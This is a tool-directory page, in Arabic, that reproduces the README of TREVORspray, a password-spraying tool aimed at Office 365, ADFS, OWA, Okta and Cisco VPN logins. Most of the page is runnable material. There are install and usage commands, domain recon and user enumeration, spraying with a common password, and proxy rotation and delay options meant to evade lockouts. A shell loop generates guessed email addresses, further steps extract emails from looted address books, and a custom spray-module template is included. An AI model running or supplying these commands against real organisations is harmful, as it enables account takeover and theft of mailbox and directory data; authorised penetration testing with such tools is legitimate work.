Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
TREVORspray — أداة رش كلمات مرور معيارية مع تدوير وكيل SSH، تجاوز MFA، واستطلاع النطاق. يدعم O365، ADFS، OWA، Okta، Cisco VPN. يقوم بأتمتة التحقق من بيانات الاعتماد واستخراج الغنائم. | Kitploit
أدوات/GitHubGitHub/blacklanternsecurity/trevorspray
تجاوز WAF
GitHubblacklanternsecurity/trevorspray

TREVORspray

أداة رش كلمات مرور معيارية مع تدوير وكيل SSH، تجاوز MFA، واستطلاع النطاق. يدعم O365، ADFS، OWA، Okta، Cisco VPN. يقوم بأتمتة التحقق من بيانات الاعتماد واستخراج الغنائم.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
1.4k1796منذ 3 أشهرتمت المراجعة من قبل Kitploit

TREVORspray 2.0

TREVORspray هي أداة رش كلمات مرور معيارية مع خيوط، ووكيل SSH، ووحدات نهب، والمزيد!

بواسطة @thetechr0mancer

License Python Version

التثبيت:

root@kitploit:~
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

راجع منشور المدونة المصاحب للحصول على مقالة ممتعة وعروض توضيحية رائعة!

trevorspray-demo

الميزات

  • خيوط، الكثير من الخيوط
  • وحدات متعددة
    • msol (Office 365)
    • adfs (خدمات الاتحاد لـ Active Directory)
    • owa (تطبيق الويب الخاص بـ Outlook)
    • okta (Okta SSO)
    • anyconnect (Cisco VPN)
    • وحدات مخصصة (سهلة الإنشاء!)
  • يخبرك بحالة كل حساب: إذا كان موجودًا، أو مقفلاً، أو مفعّلاً به MFA، إلخ.
  • إلغاء/استئناف تلقائي (يتذكر مجموعات المستخدم/كلمة المرور التي تم تجربتها مسبقًا في ~/.trevorspray/tried_logins.txt)
  • وكيل دائري عبر عدة عناوين IP باستخدام --ssh أو --subnet
  • إعادة اتصال/إعادة محاولة تلقائية لا نهائية إذا تعطل الوكيل (أو إذا فقدت الاتصال بالإنترنت)
  • تزوير User-Agent وتوقيعات أخرى لتبدو كحركة مرور مصادقة شرعية
  • تسجيل شامل
  • --delay و --jitter و --lockout-delay اختيارية بين الطلبات لتجاوز إجراءات مكافحة الإغلاق
  • دعم IPv6
  • دعم تجاوز MFA لـ O365 (تعطيل باستخدام --no-loot)
    • IMAP
    • SMTP
    • POP
    • EWS (خدمات الويب لـ Exchange) - يسترجع تلقائيًا GAL (دفتر العناوين العام)
    • EAS (Exchange ActiveSync)
      • التجاوز الموصى به: تطبيق BlueMail لنظام Android
    • EXO (PowerShell لـ Exchange Online)
    • UM (المراسلة الموحدة لـ Exchange)
    • AutoDiscover - يسترجع تلقائيًا OAB (دفتر العناوين غير المتصل)
    • الوصول إلى بوابة Azure
  • --recon للنطاق مع الميزات التالية:
    • سجلات MX/TXT
    • معلومات O365
      • معرف المستأجر
      • اسم المستأجر
      • نطاقات المستأجر الأخرى
      • رابط SharePoint
      • عناوين المصادقة، الاكتشاف التلقائي، تكوين الاتحاد، إلخ.
    • تعداد المستخدمين (استخدم --recon و --users):
      • OneDrive
      • Azure Seamless SSO

كيفية الاستخدام - O365

  • أولاً، احصل على قائمة بالبريد الإلكتروني لـ corp.com وقم بعملية رش لترى إذا كانت الإعدادات الافتراضية تعمل. عادةً ما تعمل.
  • إذا أخبرك TREVORspray أن رسائل البريد الإلكتروني في قائمتك غير موجودة، فلا تستسلم. احصل على token_endpoint باستخدام --recon corp.com. token_endpoint هو عنوان URL الذي ستقوم بالرش ضده (باستخدام الخيار --url).
  • قد يتطلب الأمر بعض التجارب قبل أن تجد التركيبة الصحيحة من token_endpoint + تنسيق البريد الإلكتروني.
    • على سبيل المثال، إذا كنت تهاجم corp.com، فقد لا يكون الأمر سهلاً مثل رش corp.com. قد تجد أن الشركة الأم لـ Corp وهي Evilcorp تمتلك مستأجر Azure الخاص بهم، مما يعني أنك بحاجة إلى الرش ضد token_endpoint الخاص بـ evilcorp.com. أيضًا، قد تجد أن النطاق الداخلي لـ corp.com وهو corp.local يُستخدم بدلاً من .

مثال: إجراء استطلاع ضد نطاق (يسترجع معلومات المستأجر، الاكتشاف التلقائي، سجلات MX، إلخ.)

root@kitploit:~
trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

مثال: تعداد المستخدمين عبر OneDrive (بدون محاولات دخول فاشلة)

root@kitploit:~
trevorspray --recon evilcorp.com -u emails.txt --threads 10

recon-user-enumeration

مثال: الرش ضد عنوان token_endpoint المكتشف

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

مثال: الرش مع تأخير 5 ثوانٍ بين الطلبات

root@kitploit:~
trevorspray -u [email protected] -p 'Welcome123' --delay 5

مثال: الرش والتناوب الدائري بين 3 عناوين IP (يتم استخدام عنوان IP الحالي أيضًا، ما لم يتم تحديد -n)

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

مثال: العثور على أسماء المستخدمين الصالحة بدون OSINT >:D

root@kitploit:~
# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

استخراج البيانات من ملفات LZX التي تم تنزيلها

عندما يقوم TREVORspray بتجاوز MFA بنجاح واسترجاع دفتر العناوين غير المتصل (OAB)، يتم تنزيل دفتر العناوين بتنسيق LZX إلى ~/.trevorspray/loot. LZX هي خوارزمية ضغط قديمة ومزعجة تستخدمها Microsoft.

root@kitploit:~
# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - المساعدة:

root@kitploit:~
$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -t, --threads THREADS
                        Max number of concurrent requests (default: 1)
  -f, --force           Try all usernames/passwords even if they've been tried before
  -d, --delay DELAY     Sleep for this many seconds between requests
  -ld, --lockout-delay LOCKOUT_DELAY
                        Sleep for this many additional seconds when a lockout is encountered
  -j, --jitter JITTER   Add a random delay of up to this many seconds between requests
  -e, --exit-on-success
                        Stop spray when a valid cred is found
  -nl, --no-loot        Don't execute loot activites for valid accounts
  --ignore-lockouts     Forces the spray to continue and not stop when multiple account lockouts are detected
  --timeout TIMEOUT     Connection timeout in seconds (default: 10)
  --random-useragent    Add a random value to the User-Agent for each request
  -6, --prefer-ipv6     Prefer IPv6 over IPv4
  --proxy PROXY         Proxy to use for HTTP and HTTPS requests
  -v, --verbose, --debug
                        Show which proxy is being used for each request

SSH Proxy:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -s, --ssh USER@SERVER [USER@SERVER ...]
                        Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
  -i, -k, --key KEY     Use this SSH key when connecting to proxy hosts
  -b, --base-port BASE_PORT
                        Base listening port to use for SOCKS proxies
  -n, --no-current-ip   Don't spray from the current IP, only use SSH proxies

Subnet Proxy:
  Send traffic from random addresses within IP subnet

  --subnet SUBNET       Subnet to send packets from
  --interface INTERFACE
                        Interface to send packets on

كتابة وحدات الرش الخاصة بك

إذا كنت بحاجة إلى رش خدمة/نقطة نهاية غير مدعومة بعد، يمكنك كتابة وحدة الرش الخاصة بك! هذا خيار رائع لأن الوحدات المخصصة تستفيد من جميع ميزات TREVORspray — مثل الوكيل، والتأخير، والتشتيت، إلخ.

كتابة وحدة الرش الخاصة بك بسيطة جدًا. قم بإنشاء ملف .py جديد في lib/sprayers (مثل lib/sprayers/custom_sprayer.py)، وأنشئ صنفًا يرث من BaseSprayModule. يمكنك تسمية الصنف أي شيء تريده. املأ طريقة HTTP وأي معلمات أخرى تحتاجها في الطلبات (يمكنك الرجوع إلى lib/sprayers/base.py أو أي وحدة أخرى للحصول على أمثلة).

  • ما عليك سوى تطبيق طريقة واحدة على صنفك المخصص: check_response(). تقوم هذه الطريقة بتقييم استجابة HTTP لتحديد ما إذا كان تسجيل الدخول ناجحًا.
  • بمجرد الانتهاء، يمكنك استخدام وحدة الرش المخصصة بتحديد اسم ملف بايثون الخاص بك (بدون .py) في سطر الأوامر، على سبيل المثال: trevorspray -m custom_sprayer -u users.txt -p Welcome123.
root@kitploit:~
# Example spray module

from .base import BaseSprayModule

class SprayModule(BaseSprayModule):

    # HTTP method
    method = 'POST'
    # default target URL
    default_url = 'https://login.evilcorp.com/'
    # body of request
    request_data = 'user={username}&pass={password}&group={otherthing}'
    # HTTP headers
    headers = {}
    # HTTP cookies
    cookies = {}
    # Don't count nonexistent accounts as failed logons
    fail_nonexistent = False

    headers = {
        'User-Agent': 'Your Moms Smart Vibrator',
    }

    def initialize(self):
        '''
        Get additional arguments from user at runtime
        NOTE: These can also be passed via environment variables beginning with "TREVOR_":
            TREVOR_otherthing=asdf
        '''
        while not self.trevor.runtimeparams.get('otherthing', ''):
            self.trevor.runtimeparams.update({
                'otherthing': input("What's that other thing? ")
            })

        return True


    def check_response(self, response):
        '''
        returns (valid, exists, locked, msg)
        '''

        valid = False
        exists = None
        locked = None
        msg = ''

        if getattr(response, 'status_code', 0) == 200:
            valid = True
            exists = True
            msg = 'Valid cred'

        return (valid, exists, locked, msg)

الشكر حيث يستحق - شكر جزيل لـ:

  • @dafthack لكتابة MSOLSpray
  • @Mrtn9 لمنفذ بايثون الخاص بـ MSOLSpray
  • @KnappySqwurl لكونه ساحر Splunk
  • @CarsonSallis لتجاوزات MFA لـ O365
  • @DrAzureAD لميزات استطلاع Azure AD (AADInternals)
  • @nyxgeek لتعداد مستخدمي OneDrive (onedrive_user_enum)
  • @gremwell لتعداد مستخدمي Seamless SSO (o365enum)

trevor

#trevorforget

تنزيل الأداة
corp.com
  • لذا في النهاية، بدلاً من رش [email protected] ضد token_endpoint لـ corp.com، فأنت تقوم برش [email protected] ضد token_endpoint لـ evilcorp.com.